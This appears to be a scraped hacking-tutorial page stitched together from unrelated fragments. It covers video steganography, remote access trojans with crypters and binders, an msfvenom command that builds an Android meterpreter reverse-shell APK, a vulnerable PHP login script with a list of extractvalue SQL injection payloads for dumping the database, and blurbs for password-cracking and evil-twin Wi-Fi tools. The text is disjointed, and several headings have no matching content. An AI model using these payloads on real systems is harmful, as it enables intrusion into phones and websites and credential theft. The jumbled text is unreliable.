Video steganography approach enables hiding chunks of secret information inside video sequences. The features of video sequences including high capacity as well as complex structure make them more preferable for choosing as cover media over other media such as image, text, or audio. Video steganography is a prominent as well as the evolving field in the information security domain and significant number of video steganography methods are proposed in recent years. This article provides a comprehensive review of video steganography methods proposed in the literature.

How to Hide File Behind Video (Steganography)

          NodeMCU ESP8266

A remote access trojan (RAT, sometimes called creepware) is a type of malware that controls a system through a remote network connection. While desktop sharing and remote administration have many legal uses, “RAT” connotes criminal or malicious activity. A RAT is typically installed without the victim’s knowledge, often as payload of a Trojan horse, and will try to hide its operation from the victim and from security software and other anti-virus software.–Wikipedia

On many underground forums, there is a lot of offers for RAT’s. There are cheap ones and some really expensive. Some of them are sold as service with monthly/yearly subscription. In most cases they do the same. Here are some example features:

Task Manager

File Manager

Startup Manager

Remote Desktop

Remote Shell

Remote Execution

System Information

Registry Editor

System Power Commands (Restart, Shutdown, Standby)

Keylogger (Unicode Support)

Reverse Proxy (SOCKS5)

Password Recovery (Common Browsers and FTP Clients)

Clipboard Text

RATs are typically client-server programs. Server part is located on hacker computer/server and client part is installed on victim computer. On the server, we can view the list of infected clients and manage them and perform all functions offered by RAT.

In server software you have option to build client with all your parameters, like server address, process name, option to detect virtual environment and sandboxes etc. Some of the RATs offer also crypters and binders. Crypters and binders can be also found as separate software.

A crypter is a software that is used to hide malware so that it is not easily detected by antivirus software. To perform its function, it can use encryption techniques and sometimes obfuscation. The crypter takes the executable file and obtains a new executable file which, when run, decrypts the encrypted code it contains and obtains the old original executable file.

File binders are utility software that allow a user to “bind” multiple files together resulting in a single executable. For example, you can merge your encrypted client file to a 7zip installation file, or an image, sound file etc.

RATs are written in various programming languages, offer different functions and are prepared for specific platforms.

Step by step Tutorial

Generating a Payload with msfvenom

At first, fire up the Kali Linux so that we may generate an apk file as a malicious payload. We need to check our local IP that turns out to be ‘192.168.0.112’. You can also hack an Android device through Internet by using your Public/External IP in the LHOST and by port forwarding.

After getting your Local host IP use msfvenom tool that will generate a payload to penetrate the Android device. Type command:

# msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=4444 R> /var/www/html/ehacking.apk

• -p indicates a payload type
• android/metepreter/reverse_tcp specifies a reverse meterpreter shell would come in from a target Android device
• LHOST is your local IP
• LPORT is set to be as a listening port
• R> /var/www/html would give the output directly on apache server
• apk is the final name of the final output

This would take some time to generate an apk file of almost ten thousand bytes.

Write an XSS Cookie Stealer in JavaScript to Steal Passwords

Cookies are information which a website requests or maintains regarding specific users which visit the page. These cookies contain information about how and when they visit, as well as authentication information for the site such as usernames and passwords. As these cookies must be in use whenever a visitor is active on a given website, an attacker who can intercept them can steal this information and use it to impersonate or catalog information about specific users.

It'spossible to utilize JavaScript in order to save or modify a user's cookies for a given domain. While this is usually applied in order to create and use cookies for interactive web development, if an attacker is able to maliciously view the same cookies, it becomes a valuable hacking technique. JavaScript-based attacks are especially effective when combined with tactics like code injection, as it allows malicious code to be executed on what appears to be an otherwise trusted website.

While we don't advocate stealing anyone's passwords, this guide is a must-know topic for any pentester or IT security professional to understand. If you don't know how black hat hackers do things, you'll never be able to catch them.

Creating an HTML Test Page

In order to steal cookies, a cookie must first be available on the web domain the user is viewing. This happens whenever the user views the website. While it's absolutely possible to inject JavaScript into websites using a man-in-the-middle attack, or by exploiting a vulnerable website, both of these would require additional effort to implement.

The test environment for our cookie will be within a fairly standard HTML index page. We will be able to embed all of our JavaScript elements inline. First, create a new directory to contain the HTML file. On a Linux or macOS system, we can use mkdir, as seen below.

 Well the Trick is already discussed in earlier tutorials knowledge of those injections deeply is just enough to collect data from Login form. But just for a purpose of Tutorial and to open your mind towards this exploitation we are here discussing how to collect data from Login Form.

First of all there are Three ways of Achieving data from Login Forms.

1. Xpath Injection

2. Sub Query Injection

3. Blind Injection Both Techniques.

I strongly Suggest you to read them all as over here i wont be discussing in detail all these injections. As here we will discuss only some minor change in the injection and other things will remain same.

Same like Bypassing Login Form with SQL injection we will take a vulnerable Login script, and start exploring it.

$uname=$_POST['uname'];

$passwrd=$_POST['passwrd'];

$query="select username,pass from users where username='$uname' and password='$passwrd' limit 0,1";

$result=mysql_query($query);

$rows = mysql_fetch_array($result);

if($rows)

{

echo "You have Logged in successfully" ;

create_session();

}

else  

{

Echo "Better Luck Next time";

}

Query

select username,pass from users where username='$uname' and password='$passwrd' limit 0,1

Injection

username : ' or extractvalue(0x0a,concat(0x0a,(select database()))) and ''=' username : " or extractvalue(0x0a,concat(0x0a,(select database()))) and ""=" username : ' or extractvalue(0x0a,concat(0x0a,(select database()))) --+ username : " or extractvalue(0x0a,concat(0x0a,(select database()))) --+ username : ' or extractvalue(0x0a,concat(0x0a,(select database()))) # username : " or extractvalue(0x0a,concat(0x0a,(select database()))) # username : ' or extractvalue(0x0a,concat(0x0a,(select database()))) -- username : " or extractvalue(0x0a,concat(0x0a,(select database()))) --

you can leave the password field empty. If the Page is actually vulnerable then surely one of the above will work and we will continue with that. Now lets see what will the query passed. For the above given Query first injection will work

Wireless Network Adapter Supports Monitor Mode & Packet Injection

How to Fix Bootloop Issue on Android

Cain and Abel: Well-Known Password Recovery Tool

Cain and Abel is very powerful and well-known tool for the password cracking and password recovery. According to official website, it is used over Windows operating systems. It allows its users to recover the passwords of various types by sniffing, brute-forcing, cracking encrypted passwords, etc. Cain and Abel: Password Cracking & Password Recovery Tool Cain and Abel is a tool built for windows to recover various kinds of passwords. It uses various techniques to recover passwords such as cracking encrypted passwords through dictionary, brute force attacks, sniffing the network recovering keys of wireless networks cryptanalysis attacks, recording VoIP, decoding scrambled passwords, revealing password boxes, examining routing protocols and revealing cached passwords. Cryptanalysis attacks are preformed using rainbow tables. Rainbow tables are generated with a program winrtgen.exe provided by the Cain and Abel package. It is developed to help the people who lost their credentials. This password cracking and password recovery tool is very helpful for the network administrators, teachers, penetration testers, forensic department, security software companies and security professionals Features: Protected storage password manager LSA Secrets Dumper Service Manager Route Table Manager MAC Address Scanner with OUI fingerprint Dialup Password Decoder Full HTTPS sessions sniffer for APR Full LDAPS sessions sniffer for APR Wireless Scanner WEP Cracking ARP Spoofing Network Password Sniffer Password Crackers And much more Supported Platforms: Windows Requirements: To install it, the following system requirements are needed. 10MB hard disk space at least Microsoft Windows 2000/2003/XP/Vista Winpcap Packet Driver and Airpcap Packet Driver Install Cain and Abel First, you need to download the Cain and Abel. To download it, click on the “download” button below. Now you can install it by running self-installing package.

Framework For Wireless Pentesting – SniffAir

Introduction

SniffAir is an open-source wireless security framework which allows you to collect, manage and analyze wireless traffic. It also provides the ability to perform sophisticated wireless attacks. SniffAir takes care of the hassle associated with managing large or multiple pcap files while thoroughly cross-examining and analyzing the traffic, looking for potential security flaws or malicious traffic.

SniffAir: Open-source Wireless Security Framework

Along with the prebuilt queries, SniffAir allows you to create custom queries for analyzing the wireless data which will be stored in the SQL database. These queries will extract data for wireless penetration test reports. The data can also be leveraged in setting up wireless attacks included in SniffAir as modules. It can perfom automated bruteforcing on EAP and PSK networks, fake portal based phishing attack, evil twin attack, etc.

SniffAir Modules:

Auto EAP – Automated Brute-Force Login Attack Against EAP Networks

Auto PSK – Automated Brute-Force Passphrase Attack Against PSK Networks

AP Hunter – Discover Access Point Within a Certain Range Using a Specific Type of Encrpytion

Captive Portal – Web Based Login Portal to Capture User Entered Credentials (Runs as an OPEN Network)

Certificate Generator – Generates a Certificate Used by Evil Twin Attacks

Exporter – Exports Data Stored in a Workspace to a CSV File

Evil Twin – Creates a Fake Access Point, Clients Connect to Divulging MSCHAP Hashes or Cleartext Passwords

Handshaker – Parses Database or .pcapdump Files Extracting the Pre-Shared Handshake for Password Guessing (Hashcat or JTR Format)

Mac Changer – Changes The Mac Address of an Interface

Probe Packet – Sends Out Deauth Packets Targeting SSID(s)

Proof Packet – Parses Database or .pcapdump Files Extracting all Packets Related to the Inscope SSDIS

Hidden SSID – Discovers the Names of HIDDEN SSIDS

Suspicious AP – Looks for Access Points that: Is On Different Channel, use a Different Vendor or Encrpytion Type Then the Rest of The Network

Wigle Search SSID – Queries wigle for SSID (i.e. Bob’s wifi)

Wigle Search MAC – Queries wigle for all observations of a single mac address

Install

SniffAir was developed with Python 2.7. Tested and supported on:

• Kali Linux, Debian and Ubuntu.

Clone it from the github repo:

$ git clone https://github.com/Tylous/SniffAir.git

To install, run the following:

$./setup.sh

Usage

To run SniffAir:

$ ./SniffAir.py

Type help to list available commands:

 Ehtools: Entynet Hacker Tools

Features:

• More than 58 tools included within this framework.
• Automation and streamlining of processes saves valuable time of even the most experienced penetration tester
• Option to upgrade to the ‘PRO’ version
• Simple UI for easy navigation
• Ability to install tools depending on the user’s requirements.
• Range of functions from attacking wi-fi networks, remote access to website attack tools.
• Renowned tools ‘Metasploit’ and ‘Wireshark’ are included 

Supported Platforms:

• Kali Linux
• Parrot OS

Requirements:

• Full root access

Install

Clone the GitHub repo: git clone https://github.com/entynetproject/ehtools.git

Navigate to the working directory and install the requirements:

$ cd ehtools
$ chmod +x install.sh
$ ./install.sh

Usage

Enter the following command:

$ ehtools